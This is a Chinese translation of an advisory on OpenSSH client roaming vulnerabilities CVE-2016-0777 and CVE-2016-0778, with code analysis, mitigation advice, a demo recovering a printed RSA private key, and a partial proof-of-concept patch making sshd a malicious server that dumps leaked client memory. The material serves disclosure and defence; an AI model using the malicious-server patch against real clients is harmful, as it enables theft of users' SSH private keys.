OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778

阅读量    145739 |   稿费 160

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

http://p6.qhimg.com/t01ba6ff09a2acf7937.gif

OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778

CVE-2016-0777可通过构造ssh恶意服务器,有可能泄漏客户端的内存私钥

本文内容概览

|   信息综述

|   信息泄漏漏洞(CVE-2016-0777)

|   -漏洞分析

|   -私钥泄漏

|   -漏洞缓解方式

|   -实例

|   缓冲区溢出漏洞(CVE-2016-0778)

|   -漏洞分析

|   -私钥披露

|   -文件描述符泄漏

|   致谢

|   概念验证实例

信息综述

从5.4版开始(发布于2010年3月8日),OpenSSH客户端就提供了一个名为“roaming(漫游)”的功能(该功能并未记录在介绍文档中):如果客户端与SSH服务器的通信链接意外中断,当服务器同样支持roaming功能,那么客户端就可以与服务器重新连接,并重新恢复挂起的SSH会话操作。

虽然OpenSSH服务器并不支持roaming功能,但OpenSSH客户端是默认启用这一功能的,而这一功能却存在两个漏洞,恶意SSH服务器或者一台被入侵的可信服务器都可以利用这两个漏洞,并在目标系统中引起信息泄漏(内存泄漏)以及缓冲区溢出(基于堆的)。

在OpenSSH客户端的默认配置下,内存泄漏漏洞是可以直接被攻击者利用的。这个漏洞允许一台恶意SSH服务器直接窃取客户端的私钥,但是具体情况取决于客户端版本,编译器,以及操作系统。很多恶意攻击者可能已经在利用这一信息泄漏漏洞了,一些热门网站或者网络名人也许需要去重新生成他们的SSH密钥了。

另一方面,OpenSSH客户端在默认配置下,也存在一个缓冲区溢出漏洞。但如果攻击者要利用这个漏洞,还需要两个非默认的配置选项:其一为ProxyCommand,第二个选项为ForwardAgent(-A)或ForwardX11(-X)。因此,这个缓冲区溢出漏洞不太可能会对用户产生什么实际影响,但这一漏洞却非常值得我们进行研究和分析。

版本号在5.4至7.1之间的OpenSSH客户端均存在着两个漏洞,但解决这一问题却是非常简单的,用户只需要将“UseRoaming”选项设置为“no”即可,具体信息我们将在漏洞缓解方式这一章节中进行详细讲解。7.1p2版本的OpenSSH客户端(发布于2016年1月14日)默认禁用了roaming功能。

信息泄漏漏洞(CVE-2016-0777)

漏洞分析

如果OpenSSH客户端与一个提供密钥交换算法的SSH服务器进行了连接,那么在身份验证成功之后,它会向服务器发送一个全局请求“roaming@appgate.com”。如果服务器接受了这个请求,客户端便会通过调用malloc()函数(并非调用calloc()),并根据out_buf_size的值来为roaming功能分配一个缓冲区(即out_buf),需要注意的是out_buf_size的值是由服务器进行随机选取的:

        

63 void
         64 roaming_reply(int type, u_int32_t seq, void *ctxt)
         65 {
         66         if (type == SSH2_MSG_REQUEST_FAILURE) {
         67                 logit("Server denied roaming");
         68                 return;
         69         }
         70         verbose("Roaming enabled");
         ..
         75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());
         ..
         77 }
         40 static size_t out_buf_size = 0;
         41 static char *out_buf = NULL;
         42 static size_t out_start;
         43 static size_t out_last;
         ..
         75 void
         76 set_out_buffer_size(size_t size)
         77 {
         78         if (size == 0 || size > MAX_ROAMBUF)
         79                 fatal("%s: bad buffer size %lu", __func__, (u_long)size);
         80         /*
         81          * The buffer size can only be set once and the buffer will live
         82          * as long as the session lives.
         83          */
         84         if (out_buf == NULL) {
         85                 out_buf_size = size;
         86                 out_buf = xmalloc(size);
         87                 out_start = 0;
         88                 out_last = 0;
         89         }
         90 }

        在客户端与SSH服务器的通信链接意外断开之后,OpenSSH客户端的roaming_write()函数(该函数是write()函数的升级版)会调用wait_for_roaming_reconnect(),并恢复与服务器的连接。该函数还会调用buf_append()函数,该函数可以将客户端发送至服务器的数据信息拷贝到roaming缓冲区out_buf之中。在重新连接的过程中,由于之前的通信连接意外断开,因此客户端会将服务器未接收到的信息重新发送给服务器。

       

 198 void
        199 resend_bytes(int fd, u_int64_t *offset)
        200 {
        201         size_t available, needed;
        202
        203         if (out_start < out_last)
        204                 available = out_last - out_start;
        205         else
        206                 available = out_buf_size;
        207         needed = write_bytes - *offset;
        208         debug3("resend_bytes: resend %lu bytes from %llu",
        209             (unsigned long)needed, (unsigned long long)*offset);
        210         if (needed > available)
        211                 fatal("Needed to resend more data than in the cache");
        212         if (out_last < needed) {
        213                 int chunkend = needed - out_last;
        214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
        215                     chunkend);
        216                 atomicio(vwrite, fd, out_buf, out_last);
        217         } else {
        218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
        219         }
        220 }

        在OpenSSH客户端的roaming缓冲区out_buf之中,最近发送至服务器的数据起始于索引out_start处,结束于索引out_last。当这一环形缓冲区满了之后,buf_append()仍然会继续进行“out_start = out_last + 1”计算,这样一来,我们就要考虑下列三种不同的情况了:

        -"out_start < out_last" (203-204行):out_buf的空间目前还没有满(out_start仍然为0),此时out_buf中的数据总量实际上为“out_last – out_start”;

        -"out_start > out_last" (205-206行):out_buf已满(out_start实际上等于“out_last + 1”),此时out_buf中的数据总量实际上就等于整个out_buf_size的大小;

        -"out_start == out_last" (205-206行):out-buf中并没有写入任何数据(此时out_start和out_last仍然为0),因为客户端在调用了roaming_reply()函数之后,并没有向服务器发送任何的数据,但是在                    out_buf_size的值存在的情况下,客户端却会将整个未初始化的out_buf发送(泄漏)给了服务器(214行)。

        恶意服务器可以成功利用这个信息泄漏漏洞,并从OpenSSH客户端的内存中提取出敏感信息(比如说,SSH私钥,或者在下一步攻击中需要用到的内存地址信息)。

        私钥泄漏

        一开始我们认为,恶意SSH服务器是无法利用这个存在于OpenSSH客户端roaming功能代码中的信息泄漏漏洞窃取客户端的私钥信息的,因为:

        -泄漏出来的信息是无法从越界内存中读取的,但是却可以从客户端的roaming 缓冲区out_buf中读取出来;

        -系统会从磁盘中读取私钥信息,并将其加载至内存之中,并且通过key_free()函数(旧版本的API,OpenSSH < 6.7)或者sshkey_free()函数(新版本的API,OpenSSH>=  6.7)进行释放,这两个函数会通过OPENSSL_cleanse()或者explicit_bzero()来清除私钥信息。

        -客户端会调用buffer_free()或者sshbuf_free()来清除内存中的临时私钥副本,这两个函数都会尝试使用memset()或bzero()来清除这些副本信息。

        但是,在我们进行了实验和分析之后最终发现,虽然上面给出的三点原因并没有问题,但我们仍然可以利用这个信息泄漏漏洞部分或全部提取出OpenSSH客户端中的私钥信息(具体情况取决于客户端版本,编译器,操作系统,堆布局,以及私钥):

        (除了这些原因之外,还有一些其他的理由,我们将会在后面的讲解中提到这些信息)

        1.如果客户端使用fopen()(或者fdopen(),fgets(),以及fclose())来将一个SSH私钥从磁盘中加载至内存,那么这个私钥的部分信息或者完整信息都会遗留在内存之中。实际上,这些函数都会对他们自己的内部缓冲区进行管理,这些缓冲区是否被清空取决于OpenSSH客户端的代码库,而不是取决于OpenSSH本身。

        -在所有存在漏洞的OpenSSH版本中,SSH的main()函数会调用load_public_identity_files(),该函数会调用fopen(),fgets(),以及fclose()来加载客户端的公钥信息。不幸的是,私钥会首先被加载,然后被丢弃。

        -在版本号<=5.6的OpenSSH中,load_identity_file()函数会通过fdopen()和PEM_read_privateKey()来加载一个私钥。

        2. 在版本号>=5.9的OpenSSH中,客户端的load_identity_file()函数会利用read()从一个长度为1024字节的内存区域中读取私钥信息。不幸的是,对realloc()的重复调用会将私钥的部分信息遗留在内存中无法完全清除。

        -在版本号<6.7的OpenSSH中(旧版API),这种变长缓冲区的初始大小为4096个字节:如果私钥文件的大小大于4K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为3K的副本信息保存在一个4K大小的缓冲区中)。幸运的是,只有一个非常大的RSA密钥(比如说,一个8192位的RSA密钥)其大小才会超过4K。

        -在版本号>=6.7的OpenSSH中(新版API),这种变长缓冲区的初始大小为256个字节:如果私钥文件的大小大于1K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为1K的副本信息保存在一个1K大小的缓冲区中)。比如说,初始大小为2048位的RSA密钥其大小就超过了1K。

        如果你需要了解更多的信息,请访问下列地址:

        https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

        https://cwe.mitre.org/data/definitions/244.html

        漏洞缓解方案

        所有版本号大于或等于5.4的OpenSSH客户端都会受到这些漏洞的影响,但是我们可以通过下列操作来降低这些漏洞对我们所产生的影响:

        1.存在漏洞的roaming功能代码可以被永久禁用:在系统配置文件中,将“UseRoaming”选项设置为“no”(系统配置文件一般在/etc/ssh/ssh_config下),用户也可以使用命令行来进行设置(-o "UseRoaming no")。

        2.如果OpenSSH客户端与带有roaming功能的SSH服务器意外断开了连接,高级用户在接收到系统提示信息后,可能会按下Control+C或者Control+Z,并以此来避免信息泄漏:

        # "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

        $ /usr/bin/ssh -p 222 127.0.0.1

        [connection suspended, press return to resume]^Z

        [1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1

        私钥泄漏实例:FreeBSD 10.0,2048位RSA密钥

        $ head -n 1 /etc/motd

        FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

        $ /usr/bin/ssh -V

        OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

        $ cat ~/.ssh/id_rsa

       

 -----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
        -----END RSA PRIVATE KEY-----

       

 # env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

        缓冲区溢出漏洞的缓解方案(CVE-2016-0778)

        所有大于或等于5.4版本的OpenSSH客户端都存在这个缓冲区溢出漏洞,但是这个漏洞也是有相应的漏洞缓解方案的,具体信息请查看原文。

        致谢

        在此,我们要感谢OpenSSH的开发人员,感谢他们的辛勤工作以及对我们的信息给予了迅速的回应。除此之外,我们还要感谢红帽安全部门为这两个漏洞分配了CVE-ID。

        概念验证实例

        

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
        --- openssh-6.4p1/auth2-pubkey.c  2013-07-17 23:10:10.000000000 -0700
        +++ openssh-6.4p1+roaming/auth2-pubkey.c     2016-01-07 01:04:15.000000000 -0800
        @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
                      * if a user is not allowed to login. is this an
                      * issue? -markus
                      */
        -             if (PRIVSEP(user_key_allowed(authctxt->pw, key))) {
        +            if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
        +                   debug("%s: force client-side load_identity_file",
        +                       __func__);
                            packet_start(SSH2_MSG_USERAUTH_PK_OK);
                            packet_put_string(pkalg, alen);
                            packet_put_string(pkblob, blen);
        diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
        --- openssh-6.4p1/kex.c    2013-06-01 14:31:18.000000000 -0700
        +++ openssh-6.4p1+roaming/kex.c       2016-01-07 01:04:15.000000000 -0800
        @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],
         }
         static void
        +roaming_reconnect(void)
        +{
        +     packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
        +     const u_int id = packet_get_int(); /* roaming_id */
+     debug("%s: id %u", __func__, id);
+     packet_check_eom();
+
+     const char *const dir = get_roaming_dir(id);
+     debug("%s: dir %s", __func__, dir);
+     const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+     if (fd <= -1)
+            fatal("%s: open %s errno %d", __func__, dir, errno);
+     if (fchdir(fd) != 0)
+            fatal("%s: fchdir %s errno %d", __func__, dir, errno);
+     if (close(fd) != 0)
+            fatal("%s: close %s errno %d", __func__, dir, errno);
+
+     packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+     packet_put_int64(arc4random()); /* chall */
+     packet_put_int64(arc4random()); /* oldchall */
+     packet_send();
+
+     packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+     const u_int64_t client_read_bytes = packet_get_int64();
+     debug("%s: client_read_bytes %llu", __func__,
+         (unsigned long long)client_read_bytes);
+     packet_get_int64(); /* digest (1-8) */
+     packet_get_int64(); /* digest (9-16) */
+     packet_get_int();   /* digest (17-20) */
+     packet_check_eom();
+
+     u_int64_t client_write_bytes;
+     size_t len = sizeof(client_write_bytes);
+     load_roaming_file("client_write_bytes", &client_write_bytes, &len);
+     debug("%s: client_write_bytes %llu", __func__,
+         (unsigned long long)client_write_bytes);
+
+     u_int client_out_buf_size;
+     len = sizeof(client_out_buf_size);
+     load_roaming_file("client_out_buf_size", &client_out_buf_size, &len);
+     debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+     if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+            fatal("%s: client_out_buf_size %u", __func__,
+                      client_out_buf_size);
+
+     packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+     packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+     packet_send();
+     const int overflow = (access("output", F_OK) == 0);
+     if (overflow != 0) {
+            const void *const ptr = load_roaming_file("output", NULL, &len);
+            buffer_append(packet_get_output(), ptr, len);
+     }
+     packet_write_wait();
+
+     char *const client_out_buf = xmalloc(client_out_buf_size);
+     if (atomicio(read, packet_get_connection_in(), client_out_buf,
+                          client_out_buf_size) != client_out_buf_size)
+            fatal("%s: read client_out_buf_size %u errno %d", __func__,
+                          client_out_buf_size, errno);
+     if (overflow == 0)
+            dump_roaming_file("infoleak", client_out_buf,
+                                       client_out_buf_size);
+     fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
 kex_choose_conf(Kex *kex)
 {
      Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
                    kex->roaming = 1;
                    free(roaming);
             }
+     } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+            roaming_reconnect();
+            /* NOTREACHED */
+            fatal("%s: returned from %s", __func__, KEX_RESUME);
      }
      /* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h   2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h      2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@ void     resend_bytes(int, u_int64_t *);
 void     calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);

        由于篇幅有限,在此无法进行详细的讲解,具体信息请查看原文。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多